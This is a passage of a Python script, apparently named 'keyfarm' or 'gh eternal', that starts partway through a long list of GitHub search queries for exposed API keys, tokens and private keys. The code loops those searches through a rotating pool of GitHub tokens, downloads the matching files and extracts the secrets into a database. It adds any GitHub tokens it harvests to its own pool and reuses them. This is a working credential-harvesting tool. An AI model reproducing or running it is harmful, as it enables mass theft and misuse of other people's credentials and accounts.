"WEAVIATE_API_KEY filename:.env",
"CHROMA_API_KEY filename:.env",
"QDRANT_API_KEY filename:.env",
# ML ops
"WANDB_API_KEY filename:.env",
"LANGCHAIN_API_KEY filename:.env",
"LANGSMITH_API_KEY filename:.env",
# Communication / bots
"DISCORD_BOT_TOKEN filename:.env",
"DISCORD_TOKEN filename:.env",
"SLACK_BOT_TOKEN filename:.env",
"SLACK_APP_TOKEN filename:.env",
"NOTION_API_KEY filename:.env",
"NOTION_TOKEN filename:.env",
"SENDGRID_API_KEY filename:.env",
"MAILGUN_API_KEY filename:.env",
"TWILIO_AUTH_TOKEN filename:.env",
# Payment
"STRIPE_SECRET_KEY filename:.env",
"sk_live_ filename:.env",
"PAYPAL_CLIENT_SECRET filename:.env",
# Dev tools / registries
"NPM_TOKEN filename:.env",
"npm_ filename:.npmrc",
"PYPI_TOKEN filename:.env",
"pypi- filename:.env",
"DOCKER_PASSWORD filename:.env",
"GITHUB_TOKEN filename:.env",
"ghp_ filename:.env",
"gho_ filename:.env",
# Secrets / auth
"JWT_SECRET filename:.env",
"SESSION_SECRET filename:.env",
"ENCRYPTION_KEY filename:.env",
"PRIVATE_KEY filename:pem",
"-----BEGIN RSA PRIVATE KEY----- filename:pem",
# v7: PatternForge wave — new high-signal families (2026-10-02)
"JINA_API_KEY filename:.env",
"jina_ filename:.env",
"JINA_API_KEY filename:config",
"BRAVE_SEARCH_API_KEY filename:.env",
"BRAVE_API_KEY filename:.env",
"BSA filename:.env",
"BFL_API_KEY filename:.env",
"bfl_ filename:.env",
"DEEPINFRA_API_KEY filename:.env",
"DEEPINFRA_TOKEN filename:.env",
"di_ filename:.env",
"MODAL_TOKEN_ID filename:.env",
"ak- filename:.env",
"MODAL_TOKEN_SECRET filename:.env",
"SERPER_API_KEY filename:.env",
"SERPAPI_API_KEY filename:.env",
"VOYAGE_API_KEY filename:.env",
"EXA_API_KEY filename:.env",
"BASETEN_API_KEY filename:.env",
"SUNO_API_KEY filename:.env",
"suno_api_key filename:.env",
"PIKA_API_KEY filename:.env",
"LANGFUSE_SECRET_KEY filename:.env",
"LANGFUSE_PUBLIC_KEY filename:.env",
"sk-lf- filename:.env",
"pk-lf- filename:.env",
"UPSTAGE_API_KEY filename:.env",
"SAMBANOVA_API_KEY filename:.env",
"AI21_API_KEY filename:.env",
"LEPTON_API_TOKEN filename:.env",
"NEARAI_API_KEY filename:.env",
"TENCENT_API_KEY filename:.env",
"FLY_API_TOKEN filename:.env",
# v8: ApiScanExtract port wave (2026-10-19) — Chinese URL-anchored
"\"open.bigmodel.cn\" \"sk-\" language:python",
"\"open.bigmodel.cn\" \"sk-\" extension:env",
"\"siliconflow\" \"sk-\" language:python",
"\"siliconflow\" \"sk-\" extension:env",
"\"moonshot.cn\" \"sk-\" extension:env",
"\"baichuan-ai\" \"sk-\" extension:env",
"\"lingyiwanwu\" \"sk-\" extension:env",
"\"stepfun.com\" \"sk-\" extension:env",
"\"volces.com\" \"ark\" \"sk-\" extension:env",
"\"intern-ai.org.cn\" \"sk-\" extension:env",
("\"minimax.chat\" \"Bea" "rer eyJ\" extension:env"),
# GPU clouds
"\"RPv2:\" extension:env NOT test",
"\"RPv2:\" language:python NOT test",
"\"sk_live_\" lambdalabs extension:env NOT test",
"\"sf_\" shadeform extension:env NOT test",
"\"dop_v1_\" extension:env NOT test",
"\"SCW\" scaleway extension:env NOT test",
"\"LTAI\" alibaba extension:env NOT test",
"\"AKID\" tencent extension:env NOT test",
# Relay/gateway master keys
"\"LITELLM_MASTER_KEY\" \"sk-\" NOT test",
"\"LITELLM_MASTER_KEY\" extension:env NOT test",
"\"one-api\" \"SESSION_SECRET\" NOT test",
"\"new-api\" \"ROOT_KEY\" NOT test",
"\"new-api\" \"REDIS_CONN\" filename:.env NOT test",
"\"fastgpt\" \"ROOT_KEY\" NOT test",
"\"dify\" \"SECRET_KEY\" NOT test",
"\"helicone\" \"sk-\" extension:env NOT test",
"\"portkey\" \"pk-\" extension:env NOT test",
"\"langsmith\" \"lsv2_pt_\" NOT test",
"lsv2_pt_ extension:env NOT test",
# AI frameworks
"\"from langchain\" \"OPENAI_API_KEY\" extension:py",
"\"from llama_index\" \"OPENAI_API_KEY\" extension:ipynb",
"\"crewai\" \"OPENAI_API_KEY\" extension:py",
"\"autogen\" \"AZURE_OPENAI\" language:python",
"\"langflow\" \"API_KEY\" NOT test",
"\"from autogen\" \"OPENAI_API_KEY\" extension:py",
"\"from crewai\" \"OPENAI_API_KEY\" extension:py",
# Jupyter notebook combos
"extension:ipynb \"sk-proj-\" OR \"sk-ant-\" OR \"AIza\" OR \"OPENAI_API_KEY\"",
"extension:ipynb \"os.environ\" \"OPENAI_API_KEY\"",
"extension:ipynb \"getpass\" \"sk-\"",
"extension:ipynb \"api_key\" \"sk-\" OR \"AIza\" OR \"gsk_\"",
"extension:ipynb \"from transformers\" \"HUGGINGFACE\" OR \"hf_\"",
# Docker / deploy configs
"filename:docker-compose.yml \"OPENAI_API_KEY\" OR \"ANTHROPIC_API_KEY\" OR \"GEMINI\"",
"filename:docker-compose.yml \"LITELLM_MASTER_KEY\" OR \"sk-\" OR \"AIza\"",
"filename:Dockerfile \"ENV\" \"API_KEY\" NOT test",
"filename:appsettings.json \"ApiKey\" OR \"OpenAI\" NOT test",
# Config/secret files
"filename:settings.py \"API_KEY\" \"sk-proj-\" NOT test",
"filename:credentials.json \"private_key\" NOT test",
"filename:secrets.json \"OPENAI\" OR \"ANTHROPIC\" NOT test",
"filename:api-keys.json \"sk-\" OR \"AIza\" NOT test",
# Telegram/Discord bots
"\"telegram\" \"OPENAI_API_KEY\" language:python NOT test",
"\"discord\" \"ANTHROPIC_API_KEY\" language:javascript NOT test",
"\"aiogram\" \"sk-proj-\" extension:py",
"\"python-telegram-bot\" \"OPENAI_API_KEY\"",
# SaaS boilerplates
"\"saas-starter\" \"OPENAI_API_KEY\" language:typescript",
"\"nextjs-boilerplate\" \"API_KEY\" NOT test",
"\"supabase\" \"openai\" \"sk-\" filename:.env",
"\"gradio\" \"HUGGINGFACE\" OR \"OPENAI\" extension:py",
"\"streamlit\" \"OPENAI_API_KEY\" extension:py",
"\"fastapi\" \"OPENAI_API_KEY\" extension:py NOT test",
# Regional clouds
"\"scaleway\" \"SCW\" extension:env NOT test",
"\"hetzner\" \"api\" extension:env NOT test",
"\"ovh\" \"api_key\" extension:env NOT test",
# Voice / speech
"\"xi-api-key\" \"sk_\" NOT test NOT example",
"filename:.env DEEPGRAM_API_KEY NOT test",
"filename:.env ASSEMBLYAI_API_KEY NOT test",
"filename:.env PLAY_HT_API_KEY NOT test",
"filename:.env REV_ACCESS_TOKEN NOT test",
"filename:.env GLADIA_API_KEY NOT test",
"filename:.env SPEECHMATICS_API_KEY NOT test",
# Image / video gen
"\"sk-\" \"stability.ai\" NOT test NOT example",
"filename:.env LEONARDO_API_KEY NOT test",
"filename:.env RUNWAYML_API_SECRET NOT test",
"filename:.env RUNWAYML_API_KEY NOT test",
"filename:.env LUMA_API_KEY NOT test",
"filename:.env KLING_API_KEY NOT test",
"filename:.env HEYGEN_API_KEY NOT test",
"filename:.env SYNTHESIA_API_KEY NOT test",
"filename:.env IDEOGRAM_API_KEY NOT test",
"\"FAL_KEY\" extension:env NOT test",
"filename:.env CLIPDROP_API_KEY NOT test",
# RAG / vector DB
"filename:.env TAVILY_API_KEY NOT test NOT example",
"\"tvly-\" extension:env NOT test",
"filename:.env ZILLIZ_API_KEY NOT test",
"filename:.env UPSTASH_VECTOR_TOKEN NOT test",
"\"mongodb+srv://\" \"cluster0\" extension:env NOT test",
# Browser / scraping
"filename:.env FIRECRAWL_API_KEY NOT test NOT example",
"\"fc-\" \"firecrawl\" NOT test NOT example",
"filename:.env BROWSERBASE_API_KEY NOT test",
"filename:.env SCRAPINGBEE_API_KEY NOT test",
"filename:.env ZENROWS_API_KEY NOT test",
"filename:.env BRIGHTDATA_TOKEN NOT test",
"\"apify_api_\" extension:env NOT test",
"filename:.env OXYLABS_API_KEY NOT test",
# LLM ops / observability
"filename:.env HELICONE_API_KEY NOT test",
"filename:.env PORTKEY_API_KEY NOT test",
"filename:.env ARIZE_API_KEY NOT test",
"filename:.env BRAINTRUST_API_KEY NOT test",
"filename:.env HUMANLOOP_API_KEY NOT test",
# Code AI / agents / workflow
"filename:.env CODEIUM_API_KEY NOT test",
"filename:.env TABNINE_API_KEY NOT test",
"\"sgp_\" extension:env NOT test",
"filename:.env CREWAI_API_KEY NOT test",
"\"ww_\" extension:env NOT test",
"filename:.env COMPOSIO_API_KEY NOT test",
"filename:.env N8N_API_KEY NOT test",
"filename:.env FLOWISE NOT test",
"filename:.env LANGFLOW_API_KEY NOT test",
# Synthetic data / fine-tuning
"filename:.env GRETEL_API_KEY NOT test",
"filename:.env SCALE_API_KEY NOT test",
"filename:.env LABELBOX_API_KEY NOT test",
"filename:.env MOSTLY_AI_API_KEY NOT test",
# High-priority paths (production/billing configs)
"path:production/ filename:.env sk- NOT test NOT example",
"path:prod/ filename:.env OPENAI_API_KEY NOT test",
"path:deploy/ filename:.env sk-proj- NOT example",
"path:config/ filename:.env ANTHROPIC_API_KEY NOT test",
"path:secrets/ filename:.env sk- NOT example NOT staging",
"path:private/ filename:.env AIza NOT test",
"path:credentials/ filename:.json sk-proj- NOT example",
"filename:docker-compose.yml OPENAI_API_KEY NOT test NOT example",
"filename:docker-compose.yaml ANTHROPIC_API_KEY NOT test",
"filename:docker-compose.yml sk-proj- NOT example",
"filename:docker-compose.yaml GEMINI_API_KEY NOT test",
"filename:secret.yaml OPENAI_API_KEY NOT test",
"filename:secret.yaml sk-proj- NOT example",
"filename:secret.json ANTHROPIC_API_KEY NOT test",
"filename:.tf OPENAI_API_KEY NOT test NOT example",
"filename:.tf ANTHROPIC_API_KEY NOT test",
"filename:main.tf sk-proj- NOT example",
"filename:variables.tf AIza NOT test",
"filename:config.yaml OPENAI_API_KEY ANTHROPIC_API_KEY NOT test",
"filename:settings.py OPENAI_API_KEY NOT test NOT example",
"filename:settings.json sk-proj- sk-ant- NOT example",
"filename:constants.py OPENAI_API_KEY ANTHROPIC_API_KEY NOT test",
"filename:constants.json sk-proj- NOT example",
"filename:secrets.toml sk- NOT test NOT example",
"filename:litellm_config.yaml sk- NOT test",
"filename:.litellm sk-proj- NOT example",
"filename:proxy_config.json sk-proj- NOT test",
"filename:gateway_config.yaml sk- NOT example",
# xAI / Cerebras (absent in this list before v8)
"filename:.env XAI_API_KEY NOT test NOT example",
"xai- extension:env NOT test",
"xai- language:python NOT test NOT example",
"XAI_API_KEY xai- NOT test",
"filename:.env CEREBRAS_API_KEY NOT test NOT example",
"csk- extension:env NOT test",
# Non-.env broad coverage
"hf_token language:python NOT test NOT example",
"sk-ant-api03 language:typescript NOT test NOT example",
"sk-ant-api03 language:go NOT test NOT example",
"\"x-api-key\" \"sk-ant-\" language:python NOT test",
"\"x-api-key\" \"sk-ant-\" language:javascript NOT test",
"sk-proj- language:go NOT test NOT example NOT mock",
"sk-proj- language:rust NOT test NOT example NOT mock",
"sk-proj- language:java NOT test NOT example NOT mock",
"sk-proj- language:ruby NOT test NOT example NOT mock",
("\"Authorization\" \"Bea" "rer sk-proj-\" NOT test NOT example"),
"AIzaSy language:python NOT test NOT example NOT dev NOT demo",
"AIzaSy language:javascript NOT test NOT example NOT dev",
"GEMINI_API_KEY AIzaSy NOT test NOT example",
"GOOGLE_AI_KEY AIzaSy NOT test NOT example",
"sk-or-v1- language:python NOT test NOT example",
"sk-or-v1- language:javascript NOT test NOT example",
"sk-or-v1- filename:.env NOT test",
"OPENROUTER_API_KEY sk-or-v1- NOT test",
"gsk_ language:python NOT test NOT example",
"GROQ_API_KEY gsk_ NOT test",
# OR-combos (max families per request, 256-char limit respected)
"\"sk-proj-\" OR \"sk-ant-\" OR \"pplx-\" OR \"gsk_\" OR \"hf_\" OR \"r8_\" OR \"xai-\" filename:.env",
"filename:.env OPENAI_API_KEY OR ANTHROPIC_API_KEY OR GEMINI_API_KEY OR DEEPSEEK_API_KEY",
"filename:.env.local \"sk-proj-\" OR \"AIza\" OR \"sk-ant-\"",
"\"sk-proj-\" extension:env NOT path:test NOT path:example",
"\"sk-proj-\" OR \"sk-ant-\" OR \"AIza\" OR \"gsk_\" OR \"pplx-\" OR \"hf_\" OR \"xai-\" OR \"sk-or-v1-\" OR \"csk-\" OR \"va-\" OR \"jina_\" OR \"fw_\" OR \"r8_\" OR \"lep_\" OR \"esecret_\" filename:.env",
"\"sk-proj-\" OR \"sk-ant-\" OR \"AIza\" OR \"gsk_\" OR \"pplx-\" OR \"hf_\" OR \"xai-\" OR \"sk-or-v1-\" OR \"csk-\" OR \"fw_\" OR \"r8_\" OR \"lep_\" extension:env NOT path:test NOT path:example",
]
DORKS = list(dict.fromkeys(DORKS)) # ponytail: literal waves duplicated 30 entries; dedupe once here
from key_patterns import PATTERNS
GARBAGE = ("xxxx", "your", "YOUR", "EXAMPLE", "example", "n0tr3al", "AQUI",
"REEMPLAZA", "INSERT", "FAKE", "fake", "Fake", "test", "Test",
"dddd", "12345", "CHANGE", "deadbeef", "fffffff", "0000000000",
# PatternForge noise-audit additions
"changeme", "CHANGEME", "your_key", "your_api_key",
"your-client-id", "your-secret", "PUT_YOUR",
"sample", "SAMPLE", "placeholder", "PLACEHOLDER",
"mfa_test", "test_token", "demo_key", "api-key-demo",
"REPLACE", "REPLACE_ME", "REPLACE_WITH", "TODO",
"XXXXXXXX", "1234567890abcdef", "skip_", "0000000000000000")
seen_files = set()
REST = 90
def log(msg):
line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n"
print(line, flush=True)
with open(LOG, "a", encoding="utf-8", errors="replace") as f:
f.write(line)
class PATPool:
def __init__(self):
self.tokens = []
self.dead = set()
self._i = 0
self._lock = threading.Lock()
try:
with open(TOKENS_FILE, encoding="utf-8") as f:
for line in f:
t = line.strip()
if t.startswith("ghp_") and t not in self.tokens:
self.tokens.append(t)
except Exception:
pass
try: # primary gh CLI token
r = subprocess.run(["gh", "auth", "token"], capture_output=True,
text=True, timeout=5)
t = r.stdout.strip()
if t and t not in self.tokens:
self.tokens.append(t)
except Exception:
pass
def next(self):
with self._lock:
live = [t for t in self.tokens if t not in self.dead]
if not live:
return ""
t = live[self._i % len(live)]
self._i += 1
return t
def mark_dead(self, t):
with self._lock:
self.dead.add(t)
log(f" PAT retired: {t[:10]}…")
def add(self, t):
t = t.strip()
if not t.startswith("ghp_") or t in self.tokens:
return False
with self._lock:
self.tokens.append(t)
try:
with open(TOKENS_FILE, "a", encoding="utf-8") as f:
f.write(t + "\n")
except Exception:
pass
log(f" POOL +PAT {t[:10]}… (pool={len(self.tokens)})")
return True
POOL = PATPool()
def rest_search(query, page):
tok = POOL.next()
if not tok:
return None, "no tokens"
try:
r = _SESSION.get(
API,
params={"q": query, "per_page": 100, "page": page,
"sort": "indexed", "order": "desc"},
headers={"Authorization": f"Bearer {tok}",
"Accept": "application/vnd.github.text-match+json",
"User-Agent": "keyfarm"},
timeout=30)
if r.status_code == 401:
POOL.mark_dead(tok)
return None, "401"
if r.status_code in (403, 429):
return None, "rate"
if r.status_code != 200:
return None, f"HTTP {r.status_code}"
return r.json().get("items", []), "ok"
except Exception as e:
return None, repr(e)
def cycle(db, seen):
cur = db.cursor()
cur.execute("SELECT val FROM keys")
seen |= {r[0] for r in cur.fetchall()}
lock = threading.Lock()
new_total, failures = 0, 0
def work(q):
nonlocal new_total, failures
nq = 0
for page in (1, 2, 3, 4, 5, 6):
items, st = rest_search(q, page)
if items is None:
if st == "rate":
time.sleep(10)
items, st = rest_search(q, page)
if items is None:
with lock:
failures += 1
return 0
for h in items:
repo = h.get("repository", {}).get("full_name", "?")
path = h.get("path", "")
texts = [json.dumps(h.get("text_matches", []))]
fp = (repo, path)
with lock:
if fp not in seen_files:
seen_files.add(fp)
fetch_full = True
else:
fetch_full = False
if fetch_full:
try:
raw = _SESSION.get(
f"https://raw.githubusercontent.com/{repo}/HEAD/{path}",
timeout=20)
if raw.status_code == 200 and len(raw.text) < 2_000_000:
texts.append(raw.text)
except Exception:
pass
for text in texts:
for prov, rx in PATTERNS:
for key in rx.findall(text):
if isinstance(key, tuple):
key = key[0]
if key in seen or any(g in key for g in GARBAGE) \
or len(key) < 30:
continue
with lock:
seen.add(key)
cur.execute(
"INSERT INTO keys "
"(hash, val, prov, status, found, repo) "
"VALUES (?,?,?,?,?,?) "
"ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo "
"WHERE keys.status IN ('DEAD','ERR')",
(hashlib.sha1(key.encode()).hexdigest()[:16],
key, prov, "NEW", "gh-eternal",
f"{repo}/{path}"))
new_total += 1
nq += 1
if prov == "GITHUB_PAT":
POOL.add(key)
time.sleep(2.5)
return nq
with ThreadPoolExecutor(max_workers=N_THREADS) as ex:
futs = {ex.submit(work, q): q for q in DORKS}
for fut in as_completed(futs):
q = futs[fut]
try:
log(f"{q!r}: +{fut.result()} new")
except Exception as e:
log(f"{q!r} worker error: {e!r}")
db.commit()
log(f"CYCLE done: +{new_total} new, {failures} rate-failures; resting {REST}s")
return new_total
def main():
log(f"=== gh eternal v2 START pid={__import__('os').getpid()} "
f"tokens={len(POOL.tokens)} threads={N_THREADS} dorks={len(DORKS)} ===")
db = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None)
while True:
try:
cur = db.cursor()
cur.execute("SELECT val FROM keys")
seen = {r[0] for r in cur.fetchall()}
cycle(db, seen)
except Exception as e:
log(f"cycle error (continuing): {e!r}")
time.sleep(REST)
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
sys.exit(0)